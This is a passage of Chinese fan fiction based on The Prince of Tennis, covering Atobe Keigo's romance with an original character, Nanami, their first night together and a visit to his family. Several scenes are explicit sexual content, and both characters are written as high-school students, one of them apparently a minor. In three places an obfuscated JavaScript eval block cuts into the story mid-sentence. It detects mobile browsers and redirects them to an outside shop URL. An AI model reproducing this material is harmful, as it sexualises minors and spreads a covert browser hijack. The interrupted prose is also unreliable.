七海垂下头,正准备伸手将透明的酒液擦去,他的唇早已先一步覆了上来,轻轻地吮吸着,激起她一阵轻颤。 感受到她身躯的颤动,迹部景吾干脆将杯中的酒液尽数倒入口中,含着酒揽着她的头哺上一个深深浅浅的吻。 ...... “景吾,我今天没请假......”不知道什么时候又回到了床上,她瘫软着,被吻得七荤八素,无力地伸手锤了一下他的胸,好硬。 “本大爷早就打过电话替你请假了。”迹部景吾坐在床边俯视着身下的人,暗自咬牙切齿着,看得见吃不着,只能靠欣赏她求饶的样子纾解了。 七海想起了另一件事,磕磕巴巴道:“景吾,你这样,你不憋得难受吗......”只有她一个人舒服了,好像挺不公平的。 “那你帮我,啊恩?”他勾起唇角,笑容写满了玩味。 本就泛红的脸庞此刻已一片通红,她只是随口问一句,帮他解决什么的......“等晚上再说!” 他的眸光越发幽深,七海心中警铃大作,她慌忙道:“我现在要去洗漱了,你,你扶一下我。” 迹部景吾垂着头意味不明地低笑了几声,干脆地将床上的人打横抱起,一路抱到了洗手间。 对着镜子,七海这才明白他的那几声低笑缘何—— 她的身上,从脖颈到锁骨,到处都是昨晚留下的暧昧痕迹。 “迹部景吾,你这样我还怎么去上学!”她的不满抗议在清柔微哑的声线下也变得撩人,看着镜中倒映出的怀中的人,他发现他又有些心痒难耐。 “二阶堂,你给本大爷下药了?”他不知为何脸色变得有点臭。 七海莫名其妙:“什么下药了?......你还想干嘛!”后知后觉。 迹部景吾的行动很快让她明白了他说的话是什么意思。 ...... “二阶堂,做本大爷的女朋友。”他喘着气,强行忽视自己某处的异样,将坐在洗手池上浑身发软的少女揽入怀中。 “好。” 142.第 142 章 第二日,七海抵达青学女网部训练场地时,少女们已飞速换上了暧昧揶揄的表情齐刷刷地盯着她。 昨天早上那通打低哑着声给木下葵拜托她帮忙请假的电话,早已被木下葵直截了当地转述给了所有部员们。 七海见众人的表情还有什么不明白的,倒是不曾扭捏,直接承认了: “嗯,我现在在和景吾交往。” “诶!——”虽然早就知道答案,少女们还是发出了整齐划一的惊呼声。 “啊啊啊,葵,真的是那个迹部景吾诶!!”千叶桃子激动得手足无措,把着身边噘着嘴的吉川阳菜,绿瞳疯狂闪烁着。 白石智子倒是做起了事后诸葛亮,一脸“我早就猜到”的自得之色。 “嘛,本恋爱达人早就看出来了,部...七海最后会选择他。” 木下葵面无表情吐槽:“智子,需要我和七海分享一下你去年失败的恋情吗?” ...... 结束部活,一行人走在前往校门口的路上,接近了,却发现校门口人声嘈杂。 “哇,这个车好贵的吧!” “为什么这么豪华的车会停在青学门口?是来等人吗?” 好,不需要再有更多解释说明,七海也明白了校门口发生了什么事。 她都快忘了他比她还爱装爱现的本质了,既然避无可避,就自然一点应对吧,恐怕以后类似的事还要发生很多次......她应该学会慢慢适应—— 根本适应不了一点! 七海沐浴在玫瑰花雨中,唇角不住地抽搐着。 为什么她一到校门口就有漫天的玫瑰花瓣落下啊!分明天上空无一物,迹部景吾,果然这个人会魔法吧。 司机早已候在车门旁,见她到来缓缓打开了车门,穿着一身酒红色西服手上捧着一大束同色玫瑰的迹部景吾本人大踏步走向她走来,笑容极尽嚣张。 “二阶堂,本大爷来接你放学。”他轻笑着,自顾自地抬起她的下巴就是一个浅吻,身后的青学女网部众人尖叫连连,听取“kya!”声一片。 “景吾,下次你其实可以稍微朴素一点。” “这已经是本大爷能想到最朴素的出场方式了。”迹部景吾挑了挑眉。 他本来还想了几个类似捧着玫瑰从天而降的主意,被山下那家伙硬生生拦下了,说是什么二阶堂小姐多半不会喜欢太过浮夸的仪式。 他姑且信他一回。 七海讪笑:“玫瑰花可以,玫瑰花雨就算了吧,打扫的人也会困扰的。” “呵,本大爷早就派了人候着,会有人来打扫的。” 七海愣了愣,这个人......果然很细心。 “我先和部员们告别。” 转过身时,不远处却走来了另一群熟人,是青学的大家。 乾,菊丸,大石,海堂,桃城,除了已经回家继承寿司店的河村隆,在七海的介绍下最后去了西班牙职网的不二周助以及分别留在美国和德国的越前龙马、手冢国光,其他人都在这儿了。 回来的事,她已经和周助还有秀一郎说过,因而,此刻看到她的面孔,对侧走来的少年们并不惊讶,他们惊讶的是—— “七海,你和迹部......” “二阶堂学姐......” 大石秀一郎等人愣在了原地。 “二阶堂,果然你的行为总会超出我的数据分析结果。”乾贞治扶了扶眼镜,他本以为最有可能和她在一起的人应该从那两个人之间诞生,结果却让他大跌眼镜。 她平静地点了点头:“我现在在和景吾交往。” “看来手冢输了喵。”菊丸英二俏皮道,倒是不甚在意。 七海太久没有听到那个名字,一瞬间发怔了几秒,身旁的少年见她分神,冷哼一声,“手冢那家伙在德国也有一堆女人围着呢,不劳其他人操心。” 他早有耳闻,自从去年挑战赛夺冠,今年年初又拿了一次巡回赛的冠军,一次亚军,德国职业网球协会就把他当成了博格第二在扶持。 治疗师、教练、经纪人,一堆人围着他打转,指望着他破了最年轻单项大满贯选手的世界纪录。 “二阶堂,本大爷就带走了。”迹部景吾牵起少女的手,十指紧扣着,拉着她就往车上去。 “大家,不好意思那我先走了,明天见!”七海转过头挥了挥手,被迹部景吾塞进了车后座。 “景吾。”七海无奈地轻笑着,坐在对侧的人那张臭脸,醋意都快飘出百米开外了。“你吃醋了?” 令她意外的是,他居然干脆地承认了。“我是吃醋了。” 他最怕的就是那个人,她对他曾经的感情太深,他绝不会容许破镜重圆之类的桥段发生。 “你呢,二阶堂,啊恩?” “我什么?”七海眨了眨眼。 迹部景吾有时真的很怀疑,眼前这个女人的洞察力是不是只分给了网球。 “手冢,你对他还有感情吗?”他努力掩饰自己话语中的醋意。 七海认真沉思了几秒,抬头,十分诚实地回答了。 “说完全没有是骗人,可那也不是爱了,或许只是一点点错过带来的遗憾。如果从来都只有他,我可能会回头选择他吧。但是......” 她专注地凝视着他: “太阳,即使我不去注意,也无处不在,难以错过。” 觉察之时,她早已坠落在光中,被阳光晒透。 窗外的夕阳斜斜地打进来,照在窗边少女姝丽的面容上,为她无端地镀上了一层橙黄的柔色光晕,那是莎士比亚的十四行诗亦无法形容的眷恋美景。 他的长夏就在他的眼前, 永远不会凋落。 迹部景吾开始痛恨一件事——为什么她到了法定结婚年龄自己却还没到。 ----------------------- 轿车并未带着他们驶向公寓,而是直接抵达了位于东京郊区的迹部宅。 在女仆的目送下穿越一扇扇雕花大门,步入餐厅时,冰帝正选们已在长桌上就坐,见两个人携手而来,神色各异。 “迹部,你和二阶堂在一起了啊!”芥川慈郎兴奋道。 “迹部,你什么时候把七海拐走的!”向日岳人表情震惊得有些夸张,直接从位置上蹦了起来。 “不愧是迹部学长!” ...... “呵,胜者当然只会是本大爷!”迹部景吾轻抚着眼下的泪痣,牵着她的手径直往桌边坐下。 “日吉,既然继承了部长之位,恋爱方面也好好学习,啊恩?” 七海额头冒出具现化的井字,不要教坏你的部员啊迹部景吾! 饭桌上,吃着牛排,众人们闲聊着一切,关于冰帝关于英国,直到宾客尽欢,轿车将少年们接走,夜幕下的窗边只剩下他们两人,七海这才提起了她早就想问的问题。 “景吾,你什么时候回英国?”她侧过身仰头问道。 “二阶堂,你就这么希望本大爷走。”迹部景吾的脸色是肉眼可见的不爽。 七海摇了摇头,“我不希望你走。但是,正是因为希望你能长久地留在日本,所以现在才需要你去把该做的事做完。” “快快回去,再快快回来吧。我会在这里等你回来。”她甜笑着,脸上找不到一丝类似失落的情绪。 “你在英国实现胜者是迹部,我在日本实现胜者是冰帝。” “这样,也算不遗憾了。” 或许还是会有遗憾的。 她永远无法忘怀,那场全国大赛单打一的夕阳下,输给越前龙马后,冰帝的少年们面上的伤感与黯然,永远无法忘怀,他即使精疲力竭也君临天下的执着模样。 她果然还是想看到、听到,周围的人为他喊着冰帝call,他站在赛场上,打着响指,实现这句话的场景。只是,世间难得双全法,算了。 迹部景吾并没有错过她眼底一闪而过的默然,他又回想起了两年前在英国伦敦,那场薄雾小雨中,她落着泪说: 【“可能人生就是这样。” “万事难两全。”】 他突然意识到,她早已为他流过一次泪,她早已心疼着他,为他遗憾,为他不甘。他从来不惧失败,但他真的没有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422369|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点点遗憾吗? 因为有人替他遗憾,他的遗憾也得以拨云见日。 “二阶堂。”他忽地开口。 “只要有本大爷在,没有什么不可实现。” “你尽管去想,别怕不可能。” 当时的七海并没有多想这句话中的深意,直到三个月后。 ...... 两人坐车回到他的公寓后,他又作弄着她,最后她出了一身薄汗,他却和无事人似的。 “景吾,你别再弄我了......我要去洗澡。”她坐在他的怀中,不住地轻喘着气,身体早已瘫软地失去了支撑力,只能靠着他的胸膛。 “这样你就受不住了,啊恩?”他的头枕着她的右肩,发丝拂动时戳在她的脖颈上,一刺一刺的,温热的鼻息和口中呼出的气喷在锁骨上,带来阵阵痒意。 “景吾,你到底去英国学了什么,你为什么,这么......”七海的声音中满载着挫败。 她本还想着自己主动,根本主动不了一点,在他面前,她全成了被动。 这个人哪里学来的那么多姿势弄她啊! “是见到你,就无师自通。”他话中透出的欲望在她的耳畔清晰可闻,七海一瞬间羞红了脸。 她小声道:“你的头发扫过来好痒,你抬头,我要去洗澡了。” “本大爷抱你去。” 他不由分说地将她打横抱起,七海的心脏突突地跳着,她算是发现了,迹部景吾这个人有多喜欢看她......的样子,这个洗澡,恐怕也不会正经到哪里去。 然而,今夜倒是出乎她的意料,他只为她褪去衣衫,从上到下细细碎碎吻了一路便算结束。 浴室的蒸汽氤氲着,将两人笼罩在白雾中。温热的水流从花洒中倾泻而下,水滴在地面溅开,发出轻微的声响,眼前被渲染成一片朦胧迷离的景象。 他站在她身后,她的长发被他细致地拨到脑后收拢,打上洗发露,轻柔地揉搓着。 七海望着面前的白雾,抬手,花洒流下的水在手心汇成一汪微型湖泊,再从指缝漏下,她再次恍了神。 她曾以为太阳灼热不可直视,却忘了,再灼热的光芒亦是透过一层层遮蔽漫射而下,落到她身上时,早就只剩温暖。 似乎在那片混沌中漂泊的孤寂与困苦已是百年前的一瞬,她的掌心居然也能抓住这样的柔和日光。 这样的光芒,真的是她能够拥有的吗? “二阶堂,想什么呢,啊恩?”身后轻傲的声音透过水声传来,也变得朦胧。 “我在想......算了没什么。”还是不要告诉他了。 迹部景吾当然不会再给她把秘密埋在心底的机会,洗完澡回到床上,他便旧态复燃,直到她求饶,允诺告诉他洗澡时她在想什么。 一切总算归于平静,七海躺在床上,眼前是黑夜中暗红色的幔帐,这才不紧不慢地开口。 “我只是,回想到了过去这一年多。” 迹部景吾愕然,昨夜,他问她过去的一年多去了哪儿,她并不欲说,他便没有逼迫。他还以为刚才在浴室,她想入非非着,却没想到是昨夜问题的答案。 “呐,景吾,海原祭那天,我说过吧,上辈子结束之后我进入了一个奇妙的地方。” “那个地方其实算不上好,那是一片灰黑色的混沌,很安静,只有我一个人,无论我往哪里走,周围永远是灰色的迷雾。” “我就在那里呆了一年多,接着,一道声音让我做出选择。” “是回到原本的地方,永不回来。还是,留下。” 本来闲适地撑着脑袋侧卧在一边,专注地望着黑暗中她的侧颜的少年眉头渐渐蹙起。直到最后一句话,他的心倏然收紧。 七海侧过身,轻声道:“我只是怕,现在经历的这一切都是我的错觉。” 迹部景吾将眼前的人揽入怀中,柔声安抚着: “本大爷不是说了吗,以后所有的未来,我都会向你走来。无论你在哪里,我都会在你身边,啊恩?” “嗯。” 她闭着眼,被他独特的气息围绕着,终于陷入了甜梦。 143.第 143 章 定下回英国的日期,接下来的三天,迹部景吾雷打不动地去青学门口接结束部活的她回家,仪式感满得过分。 每天换个颜色和造型的玫瑰花束,各种稀奇古怪的华丽且夸张的出场方式,将迹部景吾的风格发挥到极致。 托他的福,现在全青学都知道那个二阶堂七海的男朋友是那个迹部景吾了,塞到她柜子里的告白信也总算少了不少。 中间去冰帝的那一天,迹部景吾便和她一起待在冰帝网球部,做出一副好学生的做派和其他正选一起接受着她的指导。 说不上运气好还是不好,他们在部活时间到达冰帝,路上并没有几个学生。 加之他们只去了一天,且在迹部去了英国留学之后,留在冰帝的迹部后援团便处于沉寂状态,两人倒是没遇上什么事件,似乎也无人知道那个迹部景吾谈恋爱了。 对此,七海其实是松了口气的,那个后援团的团长出乎意料地大气,可并不是所有人都如此,如果可以,她还是不想花费宝贵的私人时间处理麻烦。 至于回到公寓后,身份自然发生了对调。 他是主导者亦是服务者,岛台,落地窗边,沙发,浴缸,洗手池,床上,书桌......除了最后一步雷池他硬是坚守着不愿意跨过半步,别的该干的不该干的全做了个遍。 只是,他却不愿意她为他服务,直言不需要。七海思索片刻便明白了,他不过是不想她做出那样的低姿态罢了。他为她放下帝王的骄傲,却不愿她委身。 也在周六一起去视察了目黑的俱乐部工程开发情况,一切都有条不紊地进行着,据说再有一年便可基本竣工并且完成通风排气投入使用了,七海心下一阵激荡,同时也想起了另一件事。 一件她十分在意,却差点忘了问他的事。 是夜。 七海枕着迹部景吾的手臂,百无聊赖地戳着他的胸肌,问起了那件事。 “景吾,所以当初签的对赌协议是什么?你现在总该可以告诉我了吧。” “啊恩,可以。” 七海仰起头:“那你说。” “俱乐部办得好,就允许本大爷自由恋爱,选择自己喜欢的人。俱乐部办砸了,就接受家族联姻。”他平静道,仿佛说出来的只是一件芝麻大小的平常事。 七海一骨碌从床上爬起来,跪在他边上瞪大了眼:“这么重要的事你为什么不和我说啊!” “而且,如果我回不来了......” 当初她不知道未来还有被迫离开的可能,如果她真的回不来了,俱乐部的运营也将与她无关,他无论是自由恋爱还是家族联姻,对象自然也和她无关。 她从不知道,这么早以前,他就为了她下了这么大的赌注。如果她没有选择他,那...... 七海垂着头,纷杂的情绪像开了闸的水龙头,涌上心头一发不可收拾。泪水就这么不期而至,似炮弹般一滴滴砸下,落在床单上,留下一圈圈的水痕。 迹部景吾见她哭了,慢悠悠坐起身,抬起她的下巴,盯着她泪水满面的小脸轻叹了口气。 “本大爷以前怎么没有发现,你是个爱哭鬼呢,二阶堂,啊恩?” “别哭了。” 见她的泪水似是完全止不住,他干脆吻了上去,双唇落在她泪水划过的脸颊上,划过她纤长的睫毛,最后落在了她的额头。 “本大爷不怕满盘皆输,只怕连竞争的资格都没有。” 两年前,她的出院派对结束那天的夜晚,他就已经坚定了心意。 七海也在此刻坚定了心意。 她希望和他彻底交融,负距离的那种。 七海抽噎着,努力将酸涩的泪意收起,抬头,望着坐在自己面前八块腹肌身材满分,神情傲慢却同样温柔的少年,双颊慢慢泛起红色,她咽了口口水。 二阶堂七海,不要怕,不过就是那个什么罢了! 他,他应该会很温柔的。 她可是天才教练,四国顾问,难道还有她拿不下的男人吗! 今天就要让眼前的这个人明白,什么是完全状态下的绝对主宰,她要翻身做主! 迹部景吾看出了她天人交战的挣扎模样,却完全没预料到她在挣扎什么。 心意已定,她伸出手,趁其不备直接将迹部景吾按倒在了床上,像只刚学会觅食的笨拙小兽,伸头便向他的喉结轻啃了一口,身下之人的呼吸立刻粗重了几分。 迹部景吾捏住了她的下巴没让她再继续在他身上乱啃,“二阶堂,你要做什么。” 七海目光坚定,说出来的话却因为过分羞赧而断断续续:“迹部景吾,本小姐,本小姐要,办了你......”到最后,气势十分没出息地越来越弱。 月色下,少年蓝灰色的瞳孔瞬间幽暗了几分,像是落入了一池深潭,暗流汹涌,不断涌出一些抑制已久的疯狂和欲念。 “二阶堂,你知道自己在说什么吗?” “我知道。我已经到了可以结婚的年龄了,我不小了!”她提高音量替自己辩驳着。 随即,她又想到另一个问题,身躯一僵,面色一转尴尬又带着颓丧。 她是准备好了献身,可是还没准备好要小孩,他们没有准备保护措施啊!这时候去买,感觉氛围一下子就没了。 迹部景吾直接看穿了她心中所想:“那个东西,本大爷早备着了。”他揉了揉眉心,无奈地轻笑出声。 七海感动又难受地咬了咬唇,“早就备着,那你还这么忍着......”哟西,既然如此,那就上吧! 她俯下身,再次吻上了他的双唇,紧接着是下巴,喉结,锁骨,胸膛,一路吻下来,路径倒是有样学样,只可惜半点技巧也无,只知道一味地吻。 瀑布般的乌黑长发散落下来,扫过他的胸膛,将他眼前的微光遮了个十成十,视线中只剩下她紫水晶般流转着波光的瞳孔,和透过垂坠的领口,一览无余的春光。 迹部景吾本想着看看她能做出一番什么样的举动,下身过于明显的反应,却由不得他再等待。 她太笨了,他该好好教教她。 “二阶堂,别后悔。” 他擒住她的双肩,一个翻身直接将她压在了身下,遮蔽之物被利落地扯去。 她的手被他按在床单上,十指相扣着,再也无力撬动。 黑发散乱在月白色的床单和她白皙的肌肤上,凌乱的呼吸,佯勇实怯的神情,又增添了一层勾魂摄魄的容色。 随之而来的是一个深邃而缠绵的吻,他慢慢地攻城略地,将她口中的空气尽数剥夺,接着是耳垂,锁骨,她的柔软。 他缠绕,吮咬,舔舐着,比过往的任何一次都要专注、精巧,这样的吻实在有些让人难以忍受,七海伸出未被钳制的左手试图推开他,不过是徒劳。 “景吾......”她有些难受地睁开泛起迷雾的朦胧双眸,喊着他的名字,垂下的手下意识揪紧了床单。 “二阶堂,这才叫吻。”迹部景吾靠着她的耳畔调笑道。炽热滚烫的鼻息和呼气喷洒在她的脖颈和耳廓,激起她一阵轻颤。 他揉捻过她本平静无波的海面,掀起阵阵炽热酥麻的波澜,不住地向下涌去。 七海被周围蒸腾而上的燥热湿气包裹着,眼前亮起明暗交错的星星点点,一次次炸开。 下意识想并拢双退时,身前的人干脆地将她的腿压于自己腿下,接着,再一次挑拨起暗潮涌动,暖流漫溢。 “二阶堂,本大爷最后给你一次反悔的机会。”他的声音哑得吓人,裹挟着浓重的欲望,似一片雾霭沉沉压下,侵蚀吞噬着这一室暧昧。 “迹部景吾,你,你别磨蹭了......亏你还自称帝王,一点也不果决。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434226|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”她的五指死死地扣着他,指节用力到发白,另一只手揪紧了床单,她分明是害怕的样子,嘴巴却比什么都硬。 迹部景吾低笑一声:“放松一点,别怕,啊恩?” 他不再犹豫。 “嗯!——”即使已有心理准备,她还是难以自抑地从唇角溢出一声痛吟。 “很痛吗,要不要停下来。” 七海死咬着下唇,蹙着眉,却只在意识混乱稀碎中轻摇了摇头,伸出手抓紧了他撑在一旁的手臂。 烈日逐海而来,撕裂了渺茫的天际,刺穿地平线缓缓没入海底,欲望也跟随着坠落到了更深的地方,仿佛要把整片海域焚烧殆尽。 他怜惜地拨弄开她额角被汗水浸湿的碎发,唇掠过她的每一处,留下灼烫的痕迹,沉沦之间涌起一股从未有过的餍足感。 海底掀起热流巨浪,她置身于其中,被滚烫与痛侵蚀,余晖映着浪潮一次次向岸边冲刷而去,带起阵阵白沫。 疼痛与微妙的酥酸感一同变得强烈,一点点击溃了她残存的意识。 她被他暴烈而炽热地爱着,直至海上日升,天光乍白的那一瞬。 轰鸣而上,震耳欲聋。 是生命尽头的极昼。 -------------------------- 清晨,曦光透过酒红色的幔帐洒落在宽阔的床上,映照出一片温暖柔和的光晕。细小的尘埃在阳光下的空气中折射出点点微光,如漫天飞舞的星屑。 一室未能消散的暧昧旖旎。 一切都刚刚好。 除了刚醒来从床上勉力撑着身子坐起的七海。 下身那一处叫嚣着疼痛,整个人像是被重重碾压过一般,随时都有可能散架,她只是试着挪动双腿,却发现腿酸软得不像属于自己的身体,沉重得抬不起来。 枕头边散落着几根黑发,地上被撕开的包装纸四散,遍地都是他们激战后的证据,或者说她被他吞吃入腹的证据。 七海欲哭无泪,迹部景吾这个混蛋,嘴上温柔耐心得很,行动根本一点也不温柔...... 侧过头,身旁的人倒是无事发生一般酣睡着,可恶!帅得这么惨绝人寰的一张脸居然能做出那么不知羞耻的事......虽然一开始是她主动的,可是后来......这个人绝对有暗地里补习过吧! 结束了心里的碎碎念,自知自己现在的状态根本无法独立行走,七海干脆支起身体,专注地观察起身侧的人。 紫灰色的发丝难得有些凌乱地贴着他的两鬓,闭着眼时,眉头舒展着,眼下为这张惯常嚣张的脸增色的泪痣也变得安分不少。 七海不由自主地伸出手指,轻拂过他的眉眼,他的睫毛颤动了一下,她赶紧缩回手。 她知道他亦是很刻苦的,即使是休息日也6点就起床,今天这样沉睡着才是极少见的。 人人说他完美,可“完美”这个形容词背后,需要付出多大的努力呢。 “二阶堂,沉醉在本大爷的美貌中了,啊恩?”他的声音带着初醒时的柔哑。 眼前的人突然睁眼,似笑非笑地盯着她,七海吓得正欲往后退一步,一挪动,腿间的疼痛又让她下意识蹙眉轻嘶出声。 迹部景吾似笑非笑的神情立刻转为关切:“还很疼吗?” “嗯。”她瘪着嘴,点了点头,委屈巴巴道:“我今天恐怕都没法独立行走了,迹部景吾,你要负责。” “本大爷当然会负责。”他挑了挑眉,“除了我还有谁能负责?” 迹部景吾从床上坐起,轻啄了一下她的额头。“都成本大爷的女人了,就别问这么笨的问题,二阶堂。” 她浅笑着,想到什么神色又暗了暗。“明天你就要回去了。” “二阶堂,等我回来。” 等他回来创造属于他们的未来。 144.第 144 章 三个月后。 距离全国大赛决赛仅余三天。冰帝和青学,她麾下的两拨人马各自顺利从关东大赛出线。 青学女网部这边, 四分之一决赛,青学VS不动峰,半决赛,青学VS四天宝寺,均取得胜利。 冰帝男网部这边, 四分之一决赛,冰帝VS四天宝寺,半决赛,冰帝VS青学,均取得胜利。 两边最终的决胜赛都将对上王者立海大。 七海今天结束课程甫一到达冰帝校门口,就发现今天冰帝的氛围有些不同寻常。她早已拿到了冰帝高等部网球部的外聘教练证,现在倒是可以自由进出校园了。 步行在宽阔的大道上,她敏锐地注意到,道路两旁种植的花卉品种有变,似乎,多了很多玫瑰。 “除了那个人还有谁对玫瑰有这么强烈的偏好啊......”七海满头黑线,不由得吐槽出声。 与此同时,身后步行而过的少女们的讨论也钻入耳朵。 “听说了吗!迹部君回来了!”女生A兴奋到了极点。 “诶?!他不是去了英国吗,怎么回冰帝了??”女生B不解。 “这个具体我也不是很清楚,总之,听说西园寺桑已经准备重组迹部后援团了!” “Kya——迹部君好帅,他一回来,以后我们又可以去网球部边上看他了!” 身后的少女们穿过她渐行渐远,七海却僵立在原地,久久未能动弹。 他回来了? 他怎么就回来了? 他,人在哪里? 心乱如麻,心脏唐突地快速跳动起来,仿佛要冲破胸膛,七海强做了几个深呼吸,勉强平静下来。总之,还是先去冰帝网球部吧。 只是,莫名地,离网球场越近,她的心就跳得越快,远处传来的隐约的嘈杂人声就越清晰,直到她走到一棵树下时,终于听清了那是什么声浪。 她是熟悉的—— “胜者是冰帝,胜者是迹部!” “胜者是冰帝,胜者是迹部!” “啪。”是打响指的声音。 “跟着本大爷一起,实现全国制霸!” 意气风发的少年穿着灰白色的正选制服站在网球场中心,高举着右手,笑得嚣张肆意,每一个动作都散发着无可比拟的魅力。 那是独属于冰帝帝王的,独属于那个人的时刻。 “景吾......”七海背着网球包呆站在冰帝网球部门口,外围一层层人潮涌动着,呐喊着,尖叫着,只为了那个仿佛站在宇宙中心的少年。 “啊,二阶堂来了!”帝王归来的重要场合,芥川慈郎总算是没有睡着,不如说,自从七海成为了冰帝的外聘教练,她就彻底拿捏住了慈郎的睡眠习惯。 只要他犯困,她就承诺为他展示一个网球绝技,于是,芥川慈郎,非常罕见地达成了只要七海在就没有在网球部睡过一次觉的纪录。 循着慈郎的雀跃呼声,迹部景吾转过身,看到了那道站在门口日思夜想的身影,嘴角的笑意愈发张扬。 “二阶堂,还不快进来,啊恩?” 七海仍怔愣在原地。 “呵,也是,本大爷的女人自然要本大爷亲自迎接。”迹部景吾撩了撩额边的碎发,大踏步向她走来。 因为这简短一句话,围网外再度掀起轩然大波。 “迹部君谈恋爱了?!我不能接受啊!” “二阶堂?这个女生是谁啊!” “她是冰帝网球部的外聘教练你不知道吗?看来迹部君不在你就不来网球部了啊。” “因为人家只为了迹部君才来看的嘛,这么干的又不止我一个。” “二阶堂桑很有名诶,是去年U17世界杯日本队的教练,貌似还是几个网球强国职业协会的顾问,有好几本网球杂志写过她,一看你就不关注网球,只爱迹部君的脸。” “也只有这么厉害的人,才配和迹部君在一起了吧。” ...... “二阶堂,本大爷回来了。”迹部景吾站定在她面前,牵起她的手,自然地十指相扣。 回来圆满他的遗憾,她的遗憾,他们的遗憾。 “可是,你在英国的学业呢?”她回过神来,瞪大了眼。 迹部景吾挑了挑眉,哼笑一声,自满道:“提前修满学分对本大爷来说不过是小菜一碟,更何况,英国的高中可是两年制。” “二阶堂,对你说过的每一句话,本大爷都会让它成真。” “景吾......”她的眼底泛起星星点点的泪光,“我们一起,大家一起,把那句话实现吧。” “本大爷也是这么打算的。” 两人相携步入网球场,七海马上松开手整肃神色,进入指点江山的工作状态,迹部景吾便站在一边看着她指挥冰帝众人。 “若,先带大家开始今天的例练。” “长太郎,今天的发球机速度可以再加快一点了,你的重炮发球现在力量已经达到6了吧。” “岳人,你今天继续练习反手截击,和侑士做好能力共鸣。立海大全国大赛上的双打一大概率是丸井和Jack,一定要做到封锁丸井的奇幻城堡。” “其他人就按照昨天部活结束前的要求继续,好,开始吧。” 嘱咐完今日的部活内容,七海转过身,仰头望向身侧的迹部景吾,笑眯了眼:“至于景吾,你就来陪我打一场吧。让我看看在英国这两年,你进化了多少。” “啊恩,正合我意!” 迹部走后她就联系上了罗密欧,了解景吾在英国的训练情况。在英国这两年,别的不说,至少精神力的锤炼上,迹部景吾可没少被罗密欧的恐惧具象化磋磨。只是,关于这一件事,她是问心有愧的。 【“二阶堂,你知道本大爷真正的恐惧是什么吗?” “是预见的未来里没有你。”】 【“七海,你走以后,每次景吾的恐惧具象化里都有你。” “或许对他来说也是件好事,至少在具象化里还能见到你。”】 总决赛那天,他说的都是真的。 ————————— 照例结束部活,她本以为今天必然是冰帝聚餐,却没想到乘上迹部家的轿车的只有他们两人,而行驶的方向,赫然是迹部宅。 “景吾,我们去你本家干嘛?”七海眨了眨眼,莫名的紧张感升腾而上。 坐在对面的迹部景吾随意道:“带你回去见一下我的父亲母亲还有祖父祖母。” ...... ......?! “这么突然?可是我什么都没准备,穿着的还是校服,这样不好吧?”双眼瞪大,她一瞬间慌乱起来。 “送给他们的礼物本大爷已经替你准备好了,至于衣服,你本来就是个学生,没必要学其他人那样。” 打扮得花枝招展又如何,不过是别有用心的无趣谋划,他和他们早司空见惯。 “二阶堂,在本大爷这里,你只要保持你原本的样子就可以。”看出她的紧张,迹部坐到了她身边来,紧握住她的手。 “父亲母亲不是苛刻的人,不会介怀你的穿着,放心。” 衣着打扮只是小事,这次见面出乎他的意料,是祖父主动提出的。 今天部活前接到的电话—— 【“景吾,既然回了日本,正好你父亲母亲也难得回来一趟,部活结束后就把那个女孩领回家,让我们看看。” “祖父,我想现在时机还没有成熟,对她来说太突然了。” “景吾啊,别藏着掖着。还是,你希望爷爷私下约她见面?” “哼,你该不会以为自己能护着她一辈子吧?我可比你有办法。”】 思及此处,迹部景吾的心中也产生了些微的波动,祖父这样威胁他,他只得同意,总不能让她独自一人去面对。 “如果他们不喜欢你,那是他们的眼光有问题。”他轻哼一声,“本大爷看上的人自然是最好的。” “他们的观点根本不重要,你只要知道我只会坚定地选择你一个人就够了,啊恩?”他轻点了点眼下的泪痣,一脸傲然之色。 七海黑线,他喜欢她当然看她哪里都好,可她又不是福泽谕吉,谁都喜欢。 罢了,见家长就见家长吧。他为她付出了这么多,现在只不过是需要她向他迈进一步,她又怎么会临阵打退堂鼓。 无论什么样的难关,她都会和他一起渡过。 “我知道。”七海侧过头,四目相对。“我也一样。” 然而,话说得漂亮,走下车脚踩在地面上后,她还是避免不了紧张。这样的紧张一直持续到女仆为两人推开一扇扇雕花大门,直到她见到坐在壁炉边的沙发上的四位长辈。 七海下意识攥紧了拳头,随即又松开。大家都是人类,就算他们不同意,也不能拿她怎么样!平常心,平常心,敬语,敬语。 “阿啦,这不是小七海吗?快来坐。”迹部瑛子起身浅笑着招了招手。 “初次见面,我是七海。这里是一些伴手礼,如果不嫌弃的话......”呜,她根本不知道该怎么做啊,硬着头皮上吧。 或许是她的紧张过分外显,迹部景吾扣着她的手又紧了几分。 “小七海,别紧张。都是自家人,不讲究那么多规矩,快和景吾过来吧。” 自家人?七海愣了愣,似乎,这次的见面,和她想象的如临大敌的场面不太一样。 她都已经预设了一些经典且狗血的豪门桥段。 “景吾,难道你要让七海一个女孩子一直站在那里吗,啊恩?”说出这句话的是一位坐在真皮沙发上,穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 